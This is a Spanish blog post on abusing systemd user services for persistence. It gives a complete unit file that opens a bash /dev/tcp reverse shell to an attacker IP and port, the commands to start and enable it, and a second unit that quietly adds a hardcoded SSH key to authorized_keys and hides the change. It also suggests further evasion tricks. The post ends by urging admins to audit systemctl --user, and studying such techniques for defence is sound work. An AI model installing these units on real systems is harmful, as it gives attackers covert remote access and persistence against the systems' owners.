Abusando de los servicios de usuario de systemd

No sin cierta controversia, la mayoría de las distribuciones de Linux están adoptando o planeando adoptar el sistema de inicio systemd.

Como muchos ya sabéis, systemd se basa en el manejo de unidades (unit) que básicamente son cualquier recurso que el sistema sabe que puede operar y/o administrar, ya sea un servicio, socket, dispositivo, punto de montaje, etc.

La forma en la que systemd debe manejar una unidad viene definida en ficheros que por defecto se encuentran en /etc/systemd/system, aunque podrían estar en cualquier otra ubicación como por ejemplo las de usuario que se encuentran normalmente en $HOME/.config/systemd/user o $HOME/.local/share/systemd/user/.

Recordemos que systemd ofrece a los usuarios la capacidad de ejecutar una instancia de systemd para gestionar la sesión y los servicios que normalmente se ejecutan como un usuario diferente a root o un usuario especial. Por lo que si cualquier usuario puede interactuar con las unidades ubicadas en sus directorios también cualquiera puede configurar un servicio que se ejecute al inicio del sistema.

Y si ese servicio es... digamos... ¿una shell inversa? Pues como si de una oferta se tratase, tendríamos un 2x1 a explotar: backdoor y persistencia.

Empecemos con el backdoor, tan fácil como usar un dispositivo especial TCP en bash:
[Unit]
Description=Black magic happening, avert your eyes

[Service]
RemainAfterExit=yes
Type=simple
ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.10.100.123/31337; cat <&5 | while read line; do $line 2>&5 >&5; done"

[Install]
WantedBy=default.target

Sólo tenemos que copiar el fichero al dir correspondiente e iniciarlo con: $ systemctl --user start voodoo

Si la máquina del atacante está escuchando en el puerto indicado ($ echo "touch /tmp/systemd-test-backdoor" | nc -l 31337) y se tiene acceso desde el equipo de la víctima obtendremos inmediatamente la shell. Bastante sencillo, ¿verdad?

Pues no menos sencillo es conseguir persistencia. Sólo tenemos que activar el servicio con $ systemctl --user enable voodoo y, cada vez que un usuario se valide, systemd lanzará la shell inversa.

Podéis imaginaros que las posibilidades son muchas y variadas. Si queremos por ejemplo backdoorizar el acceso SSH podemos crear un fichero unit como el siguiente (fijaros que al contrario de lo que se hace normalmente ExecStop ejecuta el código y ExecStart lo limpia):
[Unit]
description=Totally not a virus, trust me I'm a dolphin
[Service]
RemainAfterExit=yes
Type=simple
ExecStop=/bin/bash -c 'mkdir -p $HOME/.ssh && touch $HOME/.ssh/authorized_keys; [ "$(grep "ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH" $HOME/.ssh/authorized_keys)" ] || echo "ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH" >> $HOME/.ssh/authorized_keys'
ExecStart=/bin/bash -c 'sed -i \'/ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH/d\' $HOME/.ssh/authorized_keys'

[Install]
WantedBy=default.target

Y esto sólo son PoC... un atacante malintencionado iría aún más lejos y podría por ejemplo detectar cualquier usuario interactivo usando inotify en utmp para hacer menos ruido, encadenar archivos de servicio para detectar cuando otro interactúa, abusar de los aspectos en memoria de los archivos de servicio para ocultarse, secuestrar variables de entorno, obtener info en tiempo de ejecución de /proc, etc.

En definitiva, ¿cuándo fue la última vez que ejecutaste systemctl --user? No es que sea muy novedoso, pero es otra técnica a tener en cuenta y otro lugar que los administradores deben vigilar.

Fuentes:
- abusing systemd user services
- systemd/User (Español)

Comentarios